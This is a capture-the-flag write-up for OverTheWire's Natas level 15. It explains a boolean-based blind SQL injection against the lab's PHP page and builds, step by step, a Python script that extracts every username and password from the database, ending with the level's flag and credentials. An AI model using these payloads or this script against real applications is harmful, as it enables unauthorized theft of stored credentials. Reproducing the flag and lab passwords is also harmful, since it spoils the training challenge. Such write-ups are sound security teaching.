Problem :lock:

We arrive at a page with a text input.

Solution :key:

Let’s look at the source.

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>

<? } ?> 
Full Page Source
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

From the PHP code, we can see it’s another SQL injection, but this time the response is only either “This user exists” or “This user doesn’t exist” based on whether our query returns at least 1 row, or returns nothing. Googling about “blind sqli” got me here, we’ll be using the same functions to build our first payload.

We know that we can append our own query by closing the string with ", so let’s do some testing.

We know that the flag is somewhere in the users table either in the username or password column. Let’s recap what the functions we’re going to use:

So let’s make a query to see if the val in username column of the first row of the users table starts with the character that has an ascii value of 97.

Here’s a little ascii table for reference
  30 40 50 60 70 80 90 100 110 120
 --------------------------------
0:    (  2  <  F  P  Z  d   n   x
1:    )  3  =  G  Q  [  e   o   y
2:    *  4  >  H  R  \  f   p   z
3: !  +  5  ?  I  S  ]  g   q   {
4: "  ,  6  @  J  T  ^  h   r   |
5: #  -  7  A  K  U  _  i   s   }
6: $  .  8  B  L  V  `  j   t   ~
7: %  /  9  C  M  W  a  k   u  DEL
8: &  0  :  D  N  X  b  l   v
9: '  1  ;  E  O  Y  c  m   w
" or ascii(substring((select username from users limit 1),1,1))=97 #

Submitting that query returned true, looks it does start with an a. Now let’s see if the second character is also a, we do this by modifying the params for substring().

" or ascii(substring((select username from users limit 1),2,1))=97 #

Looks like it’s not, so I guess let’s try 98, then 99, and so on… ? Let’s try to open this up in burp and try to use the intruder.

In burp,

  1. I changed the username= param to be our query instead or our query after being url-encoded just so we can see it better.
  2. Then I sent it to intruder, cleared all the payload positions and added just 1 position at the 97 because that’s what is going to change throughout the attack.
  3. Then in “payloads” tab, I picked the “numbers” payload type because we’re trying to go through the ascii values of the alphabet.
  4. Then in the “options” tab I set the “grep - match” to grep the string “This user exists”, this will then be showed in the attack pop up window below.

Looks like the second char has the value 108, so time to do this whole process over again until the end of the string… or we could instead write a python code that would automate this entire process.

Let’s start by simply requesting with python requests module.

import requests

url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
    "Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)

payload = {
    "username": "\" or ascii(substring((select username from users limit 1),1,1))=97 #"
}
r = s.post(url, payload)
print r.text

payload = {
    "username": "\" or ascii(substring((select username from users limit 1),2,1))=97 #"
}
r = s.post(url, payload)
print r.text

Output:

...
This user exists.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
...

...
This user doesn't exist.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
...
Full Output
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
This user exists.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
This user doesn't exist.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Here we did 2 requests, as we can see in the payload dictionary that we changed the payload and the output also changed. So now let’s try to change our payload in a loop.

import requests
import string

url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
    "Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)

charset_string = string.ascii_letters
charset_string += "1234567890"
charset = []
for c in charset_string: # change charset_string into an array of it's ascii vals
    charset.append(ord(c))

for c in charset:
    payload = {
        "username": "\" or ascii(substring((select username from users limit 1),1,1))=%d #" % c
    }
    r = s.post(url, payload)
    print "[ ] "+payload["username"]
    if r.text.find("This user exists.") != -1:
        print "[+] char number 1 is %d" % c

Here we did some stuff:

  1. charset_string consists of alphanum as a string
  2. we convert it into an array of ascii values corresponding to that alphanum charset, we save them in the charset array
  3. for every ascii value, we’re going to send the payload with that ascii value in that %d position
    • also, we changed the output to print out the payload and then just print again if we found the string “This user exists.”, just like the “options” tab in burp intruder.

Output:

[ ] " or ascii(substring((select username from users limit 1),1,1))=97 #
[+] char number 1 is 97
[ ] " or ascii(substring((select username from users limit 1),1,1))=98 #
...

Now let’s do this for every char by looping it again, if we don’t find a match then that means we’ve reached the end of string.

import requests
import string

url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
    "Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)

charset_string = string.ascii_letters
charset_string += "1234567890"
charset = []
for c in charset_string: # change charset_string into an array of it's ascii vals
    charset.append(ord(c))

idx = 1
flag = ""
eos = 0
while 1:
    if eos:
        break
    for c in charset:
        payload = {
            "username": "\" or ascii(substring((select username from users limit 1),%d,1))=%d #" % (idx,c)
        }
        r = s.post(url, payload)
        # print "[ ] trying out %c" % chr(c)
        if r.text.find("This user exists") != -1:
            flag += chr(c)
            print "[*] current string: %s" % flag
            idx += 1
            break
        # if we've reached the final char, we must've gotten inside the if
        # if not then that's probably end of string
        elif chr(c) == "0": 
            eos = 1
            break
    
print "[+] final string: %s" % flag

Upon executing this script, we got:

[*] current string: a
[*] current string: al
[*] current string: ali
[*] current string: alic
[*] current string: alice
[+] final string: alice

If can try to look at the next row, we just need to change the payload var, we’ll get.

[*] current string: c
[*] current string: ch
[*] current string: cha
[*] current string: char
[*] current string: charl
[*] current string: charli
[*] current string: charlie
[+] final string: charlie

Problem is, we don’t know how many rows are there, so let’s make the payloads to find that out. We need to first understand the count() function, it basically just returns the row count of whatever is passed into it’s params.

rows = 1
while 1:
    payload = {
            "username": "\" or ((select count(*) from users)=%d)#" % rows
        }
    r = s.post(url, payload)
    print "[ ] trying out %d" % rows
    if r.text.find("This user exists") != -1:
        break
    else:
        rows += 1

print "[+] number of rows: %d" % rows

Upon running it we got:

[ ] trying out 1
[ ] trying out 2
[ ] trying out 3
[ ] trying out 4
[+] number of rows: 4

Now we know the number of columns and rows, let’s try to get the entire table. Here;s the final script.

import requests
import string

url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
    "Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)

charset_string = string.ascii_letters
charset_string += "1234567890"
charset = []
for c in charset_string: # change charset_string into an array of it's ascii vals
    charset.append(ord(c))

rows = 1
while 1:
    payload = {
            "username": "\" or ((select count(*) from users)=%d)#" % rows
        }
    r = s.post(url, payload)
    if r.text.find("This user exists") != -1:
        break
    else:
        rows += 1

print "[+] number of rows: %d" % rows

cols = ["username", "password"]
for i in range(rows):
    for j in cols:
        idx = 1
        string = ""
        eos = 0
        while 1:
            if eos:
                break
            for c in charset:
                payload = {
                    "username": "\" or ascii(substring((select %s from users limit %d,1),%d,1))=%d #" % (j,i,idx,c)
                }
                r = s.post(url, payload)
                # print "[ ] trying out %c" % chr(c)
                if r.text.find("This user exists") != -1:
                    string += chr(c)
                    # print "[ ] current string: %s" % string
                    idx += 1
                    break
                # if we've reached the final char, we must've gotten inside the if
                # if not then that's probably end of string
                elif chr(c) == "0": 
                    eos = 1
                    break
            
        print "[+] column %s row %s: %s" % (j,i+1,string)

Download my script.py here

Upon running the script, we’ll get the output:

[+] number of rows: 4
[+] column username row 1: alice
[+] column password row 1: hROtsfM734
[+] column username row 2: bob
[+] column password row 2: 6P151OntQe
[+] column username row 3: charlie
[+] column password row 3: HLwuGKts2w
[+] column username row 4: natas16
[+] column password row 4: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

We have successfully exploited a blind SQL injection!

Flag :checkered_flag:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh